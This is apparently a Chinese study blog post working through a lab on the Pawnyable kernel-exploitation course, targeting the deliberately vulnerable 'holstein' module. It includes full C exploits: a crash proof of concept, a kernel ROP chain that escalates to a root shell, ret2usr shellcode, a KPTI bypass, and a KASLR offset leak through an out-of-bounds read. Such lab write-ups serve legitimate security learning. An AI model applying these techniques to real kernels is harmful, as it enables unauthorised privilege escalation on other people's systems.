Pawnable笔记(一)之 Kernel ROP
🐾What’s Pawnyable?🐾 Pawnyableは、中〜上級者がpwn(Binary Exploitation)を勉強するための資料です。
站点地址:Linux Kernel Exploitation | PAWNYABLE!
前言 本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第一篇文章。
确保文件系统正常启动 下载LK-01,若重打包后出现报错,使用sudo打包运行即可。
使具有 root 权限 在init
脚本中加入exec setsid /bin/cttyhack setuidgid 0 /bin/sh
(需要在最后一行启动shell之前写入,这种方法似乎不会执行/etc/init.d/rcS
脚本,建议采取下一种方法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # !/bin/sh # devtmpfs does not get automounted for initramfs /bin/mount -t devtmpfs devtmpfs /dev # use the /dev/console device node from devtmpfs if possible to not # confuse glibc's ttyname_r(). # This may fail (E.G. booted with console=), and errors from exec will # terminate the shell, so use a subshell for the test if (exec 0</dev/console) 2>/dev/null; then exec 0</dev/console exec 1>/dev/console exec 2>/dev/console fi exec setsid /bin/cttyhack setuidgid 0 /bin/sh exec /sbin/init "$@"
也可以修改/etc/init.d/S99pawnyable
,该脚本由/etc/init.d/rcS
调用,而/etc/init.d/rcS
在系统启动时由/sbin/init
程序启动
修改/etc/init.d/S99pawnyable
中setsid cttyhack setuidgid 1337 sh
的1337改为0即可
比较commit_creds函数的rdi
1 2 3 4 5 6 7 8 9 pwndbg> x/16gx 0xffff88800328e500 0xffff88800328e500: 0x0000000000000001 0x0000000000000000 0xffff88800328e510: 0x0000000000000000 0x0000000000000000 0xffff88800328e520: 0x0000000000000000 0x0000000000000000 0xffff88800328e530: 0x000001ffffffffff 0x000001ffffffffff 0xffff88800328e540: 0x000001ffffffffff 0x0000000000000000 0xffff88800328e550: 0xffffffff81e32b00 0xffffffff81e32b80 0xffff88800328e560: 0xffff888002d20510 0x0000000000000000 0xffff88800328e570: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 pwndbg> x/16gx 0xffff888003175b80 0xffff888003175b80: 0x0000053900000001 0x0000000000000539 0xffff888003175b90: 0x0000000000000539 0x0000000000000539 0xffff888003175ba0: 0x0000000000000539 0x0000000000000000 0xffff888003175bb0: 0x000001ffffffffff 0x000001ffffffffff 0xffff888003175bc0: 0x000001ffffffffff 0x0000000000000000 0xffff888003175bd0: 0xffff888003175500 0xffffffff81e32b80 0xffff888003175be0: 0xffff888002d20510 0x0000000000000000 0xffff888003175bf0: 0x0000000000000000 0x0000000000000000
rdi为传入给commit_creds
函数的cred结构体地址,cred结构体如下(kernel version: v5.11)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; ... } __randomize_layout;
结构体中不同的部分实际上就是用户的id不同
安全机制
1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ -no-reboot \ -cpu qemu64 \ -smp 1 \ -monitor /dev/null \ -initrd rootfs_updated.cpio \ -net nic,model=virtio \ -net user
未开启kpti,且nokaslr,smap和smep也未开启
修改run.sh
中的-cpu qemu64
为-cpu qemu,+smep,+smap
即可开启
执行head /proc/kallsyms
,得到如下地址,则基地址为ffffffff81000000
(此时KADR未开启)
1 2 3 4 5 6 7 8 9 10 11 / # head /proc/kallsyms ffffffff81000000 T startup_64 ffffffff81000000 T _stext ffffffff81000000 T _text ffffffff81000040 T secondary_startup_64 ffffffff81000045 T secondary_startup_64_no_verify ffffffff81000110 t verify_cpu ffffffff81000210 T sev_verify_cbit ffffffff81000220 T start_cpu0 ffffffff81000230 T __startup_64 ffffffff810005e0 T startup_64_setup_env
模块漏洞与触发
module_read
中存在越界读取
module_write
中存在越界写入,栈溢出
module_close
中存在UAF
栈溢出漏洞的简单触发POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main () { int fd = open("/dev/holstein" , 2 ); if (fd == -1 ) { printf ("模块打开失败!\n" ); return 0 ; } char buf[0x500 ]; for (int i = 0 ; i < 0x500 ; i++) { buf[i] = 'A' ; } write(fd, buf, 0x500 ); return 0 ; }
运行后产生kernel panic
1 2 3 4 5 6 7 8 9 10 11 12 13 RIP: 0010:0x4141414141414141 Code: Unable to access opcode bytes at RIP 0x4141414141414117. RSP: 0018:ffffc9000046beb8 EFLAGS: 00000202 RAX: 0000000000000500 RBX: ffff888003169100 RCX: 0000000000000000 RDX: 000000000000007f RSI: ffffc9000046bea8 RDI: ffff888003299400 RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141 R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000500 R13: 0000000000000000 R14: 00007ffca658d210 R15: ffffc9000046bef8 FS: 0000000000405678(0000) GS:ffff888003800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000403000 CR3: 000000000327e000 CR4: 00000000000006f0 Kernel panic - not syncing: Fatal exception Kernel Offset: disabled
stack-overflow 常规rop commit_creds(prepare_kernel_cred(NULL))
提权,no kaslr
no kpti
no smep
no smap
,事实上,如果加入smep/smap
保护,该exp仍能执行,因为该过程中并未在内核态下执行和访问用户态数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define swapgs 0xffffffff8160bf7e #define iretq 0xffffffff810202af #define mov_rdi_rax_ret 0xffffffff8160c96b #define pop_rcx_ret 0xffffffff812ea083 #define prepare_kernel_cred 0xffffffff8106e240 #define commit_creds 0xffffffff8106e390 #define pop_rdi 0xffffffff8127bbdc size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void get_root_shell (void ) { if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); sleep(5 ); exit (EXIT_FAILURE); } puts ("\033[32m\033[1m[+] Successful to get the root. \033[0m" ); puts ("\033[34m\033[1m[*] Execve root shell now...\033[0m" ); system("/bin/sh" ); exit (EXIT_SUCCESS); } int main () { saveStatus(); int fd = open("/dev/holstein" , 2 ); if (fd == -1 ) { printf ("Module holstein open error!\n" ); return 0 ; } int i; long rop_chain[0x100 ]; for (i = 0 ; i < 0x81 ; i++) rop_chain[i] = 0 ; rop_chain[i++] = pop_rdi; rop_chain[i++] = 0 ; rop_chain[i++] = prepare_kernel_cred; rop_chain[i++] = pop_rcx_ret; rop_chain[i++] = 0 ; rop_chain[i++] = mov_rdi_rax_ret; rop_chain[i++] = commit_creds; rop_chain[i++] = swapgs; rop_chain[i++] = iretq; rop_chain[i++] = (long )get_root_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x500 ); return 0 ; }
ret2usr 只是把rop中的commit_creds(prepare_kernel_cred(NULL))
放到了用户代码中,在加入smep/smap
保护后,产生错误。但事实上smap/smep
保护是可以绕过的,因为该保护由CR4寄存器控制
25259
如图,只要我们能修改CR4寄存器的第20,21位为0则可以关闭该保护(在该挑战绕过过程中,我发现似乎没有可用的gadget来对cr4寄存器进行修改,因此只好作罢
但如果加入了KPTI保护,那么ret2usr便无法成功,对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限 ,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define swapgs 0xffffffff8160bf7e #define iretq 0xffffffff810202af #define mov_rdi_rax_ret 0xffffffff8160c96b #define pop_rcx_ret 0xffffffff812ea083 #define prepare_kernel_cred 0xffffffff8106e240 #define commit_creds 0xffffffff8106e390 #define pop_rdi 0xffffffff8127bbdc size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void get_root_shell (void ) { if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); sleep(5 ); exit (EXIT_FAILURE); } puts ("\033[32m\033[1m[+] Successful to get the root. \033[0m" ); puts ("\033[34m\033[1m[*] Execve root shell now...\033[0m" ); system("/bin/sh" ); exit (EXIT_SUCCESS); } void get_root_privilige () { void *(*prepare_kernel_cred_ptr)(void *) = (void *(*)(void *)) prepare_kernel_cred; int (*commit_creds_ptr)(void *) = (int (*)(void *)) commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); } int main () { saveStatus(); int fd = open("/dev/holstein" , 2 ); if (fd == -1 ) { printf ("Module holstein open error!\n" ); return 0 ; } int i; long rop_chain[0x100 ]; for (i = 0 ; i < 0x81 ; i++) rop_chain[i] = 0 ; rop_chain[i++] = (long )get_root_privilige; rop_chain[i++] = swapgs; rop_chain[i++] = iretq; rop_chain[i++] = (long )get_root_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x500 ); return 0 ; }
仅启用KASLR,不使用读取操作来进行ret2usr提权:
当禁用 SMAP、SMEP 和 KPTI 并启用 KASLR 时,仅使用 Stack Overflow 漏洞提升权限(即不使用读取)。 提示:使用 ret2usr 执行 shellcode 时检查寄存器值。
略微修改exp为如下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... long root_shell = (long )get_root_shell;... void shellcode () { __asm__("push user_ss;" "push user_sp;" "push user_rflags;" "push user_cs;" "push root_shell;" "swapgs;" "iretq;" ); } ... ... rop_chain[i++] = (long )get_root_privilige; rop_chain[i++] = (long )shellcode; ...
kernel rop with KPTI but without KASLR 在开启了kpti之后,再次使用之前的exp就会得到Segmentation fault
,只需细微修改exp即可,如
1 2 3 4 5 6 7 8 rop_chain[i++] = swapgs_restore_regs_and_return_to_usermode+0x16 ; rop_chain[i++] = 0 ; rop_chain[i++] = 0 ;
add KASLR 在添加了KASLR后,程序在每次启动时都会有一个随机的偏移,但是由于存在越界读取,因此可以读取出内核栈空间的敏感内容,计算得到偏移,如下
1 2 3 4 long buf[0x100 ];read(fd, buf, 0x500 ); long offset = buf[0x81 ] - ret_addr_no_aslr;printf ("KASLR offset is : %p\n" , offset);
在调试KASLR的过程中,出现了如下问题:未开启KASLR时的对应gadget和开启KASLR时的gadget会有可能不一样,引起该问题的主要原因是ROPgadget,ropper等工具在查找gadget时是按照机器码查找的,当文件中出现绝对地址时,而此gadget的机器码正好包含在绝对地址中。
如:绝对地址0xFFFFFFFF81C35900
,而pop rcx; ret
对应的机器码是59 C3
,正好是这个绝对地址中的部分值,因此在没有KASLR的情况下,它确实是一个有效的gadget。然而,一旦KASLR生效,它同时也将内核中这些汇编指令中的绝对地址也做了更新,否则内核在执行类似上面这条mov指令时就可能会出错,因为地址已经被随机化了。